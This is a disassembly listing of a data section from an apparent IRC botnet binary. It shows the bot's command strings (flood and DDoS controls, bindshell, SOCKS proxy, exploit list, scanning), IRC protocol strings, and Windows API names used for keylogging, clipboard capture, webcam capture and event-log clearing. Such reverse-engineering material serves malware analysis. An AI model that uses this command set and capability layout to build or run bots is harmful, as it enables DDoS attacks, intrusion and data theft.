unk_42C284	db  2Dh	; -		; DATA XREF: sub_401ACD+16BFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 4
unk_42C2AC	db  2Dh	; -		; DATA XREF: sub_401ACD+16B8o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
aReboot		db 'reboot',0           ; DATA XREF: sub_401ACD+16A1o
		align 4
aI:					; DATA XREF: sub_401ACD+168Co
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1677o
		align 4
aS_0:					; DATA XREF: sub_401ACD+1662o
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+164Do
		align 4
aQ:					; DATA XREF: sub_401ACD+1638o
					; ___:off_437BF0o
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+1623o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+160Eo
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15F9o
		align 4
aR:					; DATA XREF: sub_401ACD+15E4o
					; sub_401ACD+3DA8o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15CFo
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+15BAo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+15A5o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1590o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1566o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1551o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+153Co
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+1527o
		align 10h
dword_42C370	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401ACD+151Co
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+1517o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14FEo
		align 10h
dword_42C390	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14F3o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14EEo
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14D5o
		align 4
dword_42C3B4	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+14CAo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+14C5o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+14ACo
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1497o
		align 10h
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1482o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+146Do
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1458o
		align 4
dword_42C404	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+144Do
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+142Fo
		align 10h
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+1406o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13DDo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+13B4o
		align 10h
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+138Bo
unk_42C44C	db  2Dh	; -		; DATA XREF: sub_401ACD+1371o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42C480	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1336o
					; sub_401ACD+13D2o
dword_42C490	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1331o
					; sub_401ACD+13CDo
dword_42C4A0	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+1318o
					; sub_401ACD+13A9o
dword_42C4B0	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+1313o
					; sub_401ACD+13A4o
dword_42C4C0	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+12B8o
					; sub_401ACD+1424o
dword_42C4CC	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o
					; sub_401ACD+141Fo
dword_42C4D8	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao
					; sub_401ACD+13FBo
dword_42C4E4	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o
					; sub_401ACD+13F6o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1235o
		align 4
dword_42C4FC	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+122Ao
					; sub_401ACD+12F7o
dword_42C508	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o
					; sub_401ACD+12F2o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+120Co
		align 10h
dword_42C520	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+1201o
					; sub_401ACD+12D9o
dword_42C530	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11FCo
					; sub_401ACD+12D4o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11E3o
		align 4
dword_42C54C	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11D8o
					; sub_401ACD+1357o
dword_42C55C	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11D3o
					; sub_401ACD+1352o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+11BAo
		align 4
dword_42C578	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo
					; sub_401ACD+1279o
dword_42C584	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo
					; sub_401ACD+1274o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1191o
dword_42C598	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1186o
					; sub_401ACD+125Bo
dword_42C5A4	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o
					; sub_401ACD+1256o
dword_42C5B0	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o
dword_42C5BC	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+115Do
dword_42C5CC	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1158o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+113Fo
		align 4
dword_42C5EC	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o
dword_42C5F8	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+112Fo
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+1116o
dword_42C60C	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10EDo
		align 4
dword_42C628	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10E2o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+10C4o
		align 4
dword_42C644	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+10BCo
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+109Eo
		align 10h
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1089o
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1074o
		align 4
dword_42C66C	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1052o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+104Do
					; sub_401ACD+10B7o ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1034o
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+101Fo
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+100Ao
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FF5o
		align 10h
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FE0o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FCBo
					; sub_401ACD+2D69o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+FB6o
					; sub_401ACD+2D58o
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401ACD+FA1o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F8Co
		align 4
aDed		db 'ded',0              ; DATA XREF: sub_401ACD+F77o
aDedication	db 'dedication',0       ; DATA XREF: sub_401ACD+F62o
		align 4
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F4Do
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F38o
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F23o
		align 4
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+F0Eo
		align 10h
aD:					; DATA XREF: sub_401ACD+EF9o
					; ___:00437C1Co ...
		unicode	0, <d>,0
aDie		db 'die',0              ; DATA XREF: sub_401ACD+EE4o
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+ECFo
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+EB7o
a63		db '63',0               ; DATA XREF: sub_401ACD+D84o
		align 4
asc_42C718:				; DATA XREF: sub_401ACD+D5Co
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D1Fo
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+D14o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+D03o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CE7o
		align 10h
aUser_0		db '$user',0            ; DATA XREF: sub_401ACD+CD6o
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CC4o
aD_0		db '$%d',0              ; DATA XREF: sub_401ACD+C56o
aD_1		db '$%d-',0             ; DATA XREF: sub_401ACD+B92o
		align 4
aK:					; DATA XREF: sub_401ACD+AA6o
					; sub_401ACD+3DD2o ...
		unicode	0, <k>,0
unk_42C75C	db  2Dh	; -		; DATA XREF: sub_401ACD+A80o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 10h
unk_42C790	db  2Dh	; -		; DATA XREF: sub_401ACD+A6Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 10h
unk_42C7C0	db  2Dh	; -		; DATA XREF: sub_401ACD+A5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_31	db '- Failed to start chat thread, error: <%d>.',0
		align 4
unk_42C7F8	db  2Dh	; -		; DATA XREF: sub_401ACD+9EFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+958o
		align 10h
unk_42C820	db  2Dh	; -		; DATA XREF: sub_401ACD+938o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42C864	db  2Dh	; -		; DATA XREF: sub_401ACD+920o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_32	db '- Failed to start transfer thread, error: <%d>.',0
		align 10h
dword_42C8A0	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+90Fo
		dd 0A0Dh
dword_42C8B8	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8DBo
dword_42C8C0	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8D0o
		dd 0D017325h, 0Ah
dword_42C8DC	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+89Fo
dword_42C8E8	dd 23h			; DATA XREF: sub_401ACD+816o
					; sub_40CA7F+1Bo
unk_42C8EC	db  2Dh	; -		; DATA XREF: sub_401ACD+785o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+706o
					; sub_401ACD+995o ...
		align 10h
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6DFo
		align 4
dword_42C928	dd 43434401h, 0		; DATA XREF: sub_401ACD+6C1o
dword_42C930	dd 323333h		; DATA XREF: sub_401ACD+64Bo
					; sub_401ACD+ADCo ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+629o
					; sub_409A72+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+61Do
					; sub_409A72+16o
unk_42C944	db  2Dh	; -		; DATA XREF: sub_401ACD+5CCo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 4
unk_42C968	db  2Dh	; -		; DATA XREF: sub_401ACD+5A5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: sub_401ACD+574o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+537o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+526o
					; sub_401ACD+5E9o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4FEo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+60Do
unk_42C9BC	db  2Dh	; -		; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2EBCo ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7C8Eo ...
		align 10h
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_4177CF:loc_417837o
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3B7o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 10h
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_4177CF+50o
		align 4
asc_42CA28:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7DADo
		unicode	0, <!>,0
asc_42CA2C:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E5Co ...
		unicode	0, < >,0
asc_42CA30	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_402601o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409B12:loc_40A77Co
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409B12+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409B12+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409B12+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409B12+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409B12+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409B12:loc_40A6DEo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409B12+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409B12+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409B12:loc_40A694o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o
		align 10h
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409B12:loc_40A620o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409B12+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409B12:loc_40A5D6o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409B12:loc_40A58Co
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409B12+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo
					; sub_4185A4+65o
		align 10h
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409B12+9DFo
		align 10h
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409B12+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409B12+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409B12+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409B12+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409B12+984o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409B12+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409B12+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409B12:loc_40A470o
					; sub_4185A4+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409B12+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409B12+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409B12+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409B12:loc_40A411o
		align 10h
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409B12+82Co
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo
		align 10h
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o
		align 10h
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409B12:loc_40A2F1o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409B12+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409B12+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409B12+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409B12+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409B12+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409B12+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409B12+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409B12+64Bo
		align 10h
aListen		db 'listen',0           ; DATA XREF: sub_409B12+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409B12+631o
		align 10h
aBind		db 'bind',0             ; DATA XREF: sub_409B12+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409B12+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409B12+60Ao
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409B12+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409B12+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409B12+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409B12+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_409B12+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409B12+5AFo
		align 10h
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409B12+5A2o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_409B12+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409B12+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409B12+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409B12+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409B12+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409B12+554o
		align 10h
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409B12+547o
		align 10h
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409B12+53Ao
		align 10h
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409B12+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409B12+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409B12+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409B12+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409B12+494o
		align 10h
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409B12+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409B12+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409B12+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o
		align 10h
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409B12+43Eo
		align 10h
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409B12:loc_409F3Fo
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409B12:loc_409F17o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o
		align 10h
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409B12+386o
		align 10h
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409B12+379o
		align 10h
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409B12+36Co
		align 10h
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409B12+35Fo
		align 10h
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409B12:loc_409E69o
		align 10h
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao
		align 10h
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409B12+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409B12+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409B12+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409B12+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409B12+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409B12+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409B12+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409B12:loc_409D71o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409B12+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409B12+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409B12+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409B12+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409B12+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409B12+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409B12+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409B12+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409B12+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409B12:loc_409C47o
					; sub_424D78+Do
		align 10h
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409B12+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409B12+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409B12+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409B12+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409B12+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo
		align 10h
